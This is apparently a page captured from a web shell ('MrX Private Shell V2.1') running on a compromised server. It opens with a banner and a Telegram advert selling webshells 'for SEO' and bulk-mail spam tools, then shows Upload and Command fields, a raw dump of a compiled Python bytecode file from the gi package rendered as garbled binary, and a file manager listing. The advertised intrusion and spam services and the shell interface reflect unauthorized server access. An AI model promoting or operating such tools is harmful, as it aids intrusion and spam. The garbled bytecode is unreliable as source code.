__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���fW$��H�SSKJr "SS\5r"SS\5rSrSrg)	�)�_gic��\rSrSrSr"SS\5rSSjrSS\RSSSSS4Sjr
SS	jrS
rSSjr
SrS
rg)�Signal�a Object which gives a nice API for creating and binding signals.

:param name:
    Name of signal or callable closure when used as a decorator.
:type name: str or callable
:param callable func:
    Callable closure method.
:param GObject.SignalFlags flags:
    Flags specifying when to run closure.
:param type return_type:
    Return type of the Signal.
:param list arg_types:
    List of argument types specifying the signals function signature
:param str doc:
    Documentation of signal object.
:param callable accumulator:
    Accumulator method with the signature:
    func(ihint, return_accu, handler_return, accu_data) -> boolean
:param object accu_data:
    User data passed to the accumulator.

:Example:

.. code-block:: python

    class Spam(GObject.Object):
        velocity = 0

        @GObject.Signal
        def pushed(self):
            self.velocity += 1

        @GObject.Signal(flags=GObject.SignalFlags.RUN_LAST)
        def pulled(self):
            self.velocity -= 1

        stomped = GObject.Signal('stomped', arg_types=(int,))

        @GObject.Signal
        def annotated_signal(self, a:int, b:str):
            "Python3 annotation support for parameter types.

    def on_pushed(obj):
        print(obj)

    spam = Spam()
    spam.pushed.connect(on_pushed)
    spam.pushed.emit()
c�H�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
g)
�Signal.BoundSignal�Izy
Temporary binding object which can be used for connecting signals
without specifying the signal name string to connect.
c�,�[RX5$�N)�str�__new__��cls�name�args�kargss    �2/usr/lib/python3/dist-packages/gi/_signalhelper.pyr
�Signal.BoundSignal.__new__Ns���;�;�s�)�)�c�F�[RU5 XlX lgr)r�__init__�signal�gobj)�selfrrs   rr�Signal.BoundSignal.__init__Qs���L�L��� �K��Irc��SU-$)NzBoundSignal("%s")��rs r�__repr__�Signal.BoundSignal.__repr__Vs
��&��-�-rc�V�URR"UR/UQ70UD6$)zCall the signals closure.)r�funcr�rrrs   r�__call__�Signal.BoundSignal.__call__Ys%���;�;�#�#�D�I�I�>��>��>�>rc�B�URR"X/UQ70UD6$)zRSame as GObject.Object.connect except there is no need to specify
the signal name.�r�connect)r�callbackrrs    rr(�Signal.BoundSignal.connect]s#���9�9�$�$�T�D�d�D�e�D�Drc�P�URR"US-U-U/UQ70UD6$)z�Same as GObject.Object.connect except there is no need to specify
the signal name. In addition concats "::<detail>" to the signal name
when connecting; for use with notifications like "notify" when a property
changes.
z::r')rr)�detailrrs     r�connect_detailed�#Signal.BoundSignal.connect_detailedbs.���9�9�$�$�T�D�[�6�%9�8�T�d�T�e�T�Trc�:�URRU5 g)z"Same as GObject.Object.disconnect.N)r�
disconnect)r�
handler_ids  rr0�Signal.BoundSignal.disconnectjs���I�I� � ��,rc�T�URR"[U5/UQ70UD6$)zOSame as GObject.Object.emit except there is no need to specify
the signal name.)r�emitrr#s   rr4�Signal.BoundSignal.emitns%���9�9�>�>�#�d�)�<�d�<�e�<�<r)rrN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r
rrr$r(r-r0r4�__static_attributes__rrr�BoundSignalrIs1��	�	*�	�
	.�	?�	E�
	U�	-�	=rr<�c�d�[U5(aURn[RX5$r)�callabler6rr
rs    rr
�Signal.__new__ss#���D�>�>��=�=�D��{�{�3�%�%rNc	�>�Uc[U5(aUnU(aU(dURn[RU5 U(aU(dU(d
[	U5upEUc
[5nX lX0lX@lXPl	X`lXpl
X�lgr)r?r:rr�get_signal_annotations�tupler"�flags�return_type�	arg_types�accumulator�	accu_data)	rrr"rDrErF�docrGrHs	         rr�Signal.__init__xst���<�H�T�N�N��D����,�,�C����T����	�%;�D�%A�"�K�����I��	��
�&��"����&��"�rc�.�UcU$URX5$)z:Returns a BoundSignal when accessed on an object instance.)r<)r�instance�owners   r�__get__�Signal.__get__�s�����K�����/�/rc�`�[U[R5(aUR"U/UQ70UD6 g[	U5(a[	U5nOUR
n[
U5"XAURURURURURURS9$)zeAllows for instantiated Signals to be used as a decorator or calling
of the underlying signal method.�rr"rDrErFrIrGrHN)
�
isinstancer�GObjectr"rr6�typerDrErFr:rGrH)r�objrrrs     rr$�Signal.__call__�s����c�3�;�;�'�'��I�I�c�*�D�*�E�*��4�y�y��4�y���|�|����:�4����*.�*:�*:�d�n�n�"&�,�,�D�<L�<L�X\�Xf�Xf�h�
hrc��[U5"XRURURURUR
URURS9$)z%Returns a renamed copy of the Signal.rQ)rTr"rDrErFr:rGrH)r�newNames  r�copy�Signal.copy�sJ���D�z�w�Y�Y�d�j�j�&*�&6�&6�$�.�.�"�l�l��8H�8H�TX�Tb�Tb�d�	drc�t�URURURURUR4$)zKReturns a tuple of: (flags, return_type, arg_types, accumulator, accu_data))rDrErFrGrHrs r�get_signal_args�Signal.get_signal_args�s.���
�
�D�,�,�d�n�n�d�>N�>N�PT�P^�P^�_�_r)r:rHrGrFrDr"rE)r=r)r6r7r8r9r:rr<r
r�SIGNAL_RUN_FIRSTrrNr$rYr\r;rrrrrsQ��0�b(=�c�(=�T&�
�T��1E�1E�!�T�r�t�W[�#�.0�h�(d�`rrc��\rSrSrSrSrSrg)�SignalOverride�aSpecialized sub-class of Signal which can be used as a decorator for overriding
existing signals on GObjects.

:Example:

.. code-block:: python

    class MyWidget(Gtk.Widget):
        @GObject.SignalOverride
        def configure_event(self):
            pass
c��g)zReturns the string 'override'.�overriderrs rr\�SignalOverride.get_signal_args�s��rrN)r6r7r8r9r:r\r;rrrr`r`�s���rr`c��^�[5nSn[US5(aSSSKnURU5m[U4SjTR55nSTR
;aTR
SnX!4$)aAttempt pulling python 3 function annotations off of 'func' for
use as a signals type information. Returns an ordered nested tuple
of (return_type, (arg_type1, arg_type2, ...)). If the given function
does not have annotations then (None, tuple()) is returned.
N�__annotations__�c3�f># �UH&nUTR;dMTRUv� M( g7fr)�annotations)�.0�arg�specs  �r�	<genexpr>�)get_signal_annotations.<locals>.<genexpr>�s1����6�9�C� �D�$4�$4�4�0�$�*�*�3�/�9�s�1�1�return)rC�hasattr�inspect�getfullargspecrri)r"rFrErqrls    @rrBrB�ss�����I��K��t�&�'�'���%�%�d�+���6�4�9�9�6�6�	��t�'�'�'��*�*�8�4�K��!�!rc�>�URRS05n0nURR5Hvup4[U[5(dM[U5nU(dUnUR
U5n[XU5 XQ;a[SU-5eXBU'UR5X'Mx Xl
UR5HQup4URcMSURSS5-n[X5(aM;[XUR5 MS g)z�Adds Signal instances on a GObject derived class into the '__gsignals__'
dictionary to be picked up and registered as real GObject signals.
�__gsignals__z(Signal "%s" has already been registered.N�do_�-�_)�__dict__�get�itemsrRrrrY�setattr�
ValueErrorr\rtr"�replacerp)r�gsignals�
newsignalsrr�
signalName�funcNames       r�install_signalsr��s����|�|�����3�H��J����*�*�,����f�f�%�%��V��J��!�
����T�*����6�*��%� �!K�d�!R�S�S�%+�z�"�#)�#9�#9�#;�H� �-� ��#�(�(�*����;�;�"��t�|�|�C��5�5�H��3�)�)���v�{�{�3�	+rN)r=rrrr`rBr�rrr�<module>r�s1��(�[`�S�[`�|�V��$"�*4r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 5.89 KB 0644
_constants.cpython-313.pyc File 2.48 KB 0644
_error.cpython-313.pyc File 2.01 KB 0644
_gtktemplate.cpython-313.pyc File 12.56 KB 0644
_option.cpython-313.pyc File 17.31 KB 0644
_ossighelper.cpython-313.pyc File 10.38 KB 0644
_propertyhelper.cpython-313.pyc File 15.82 KB 0644
_signalhelper.cpython-313.pyc File 10.28 KB 0644
docstring.cpython-313.pyc File 6.88 KB 0644
events.cpython-313.pyc File 31.14 KB 0644
importer.cpython-313.pyc File 5.13 KB 0644
module.cpython-313.pyc File 9.42 KB 0644
pygtkcompat.cpython-313.pyc File 599 B 0644
types.cpython-313.pyc File 13.43 KB 0644
Filemanager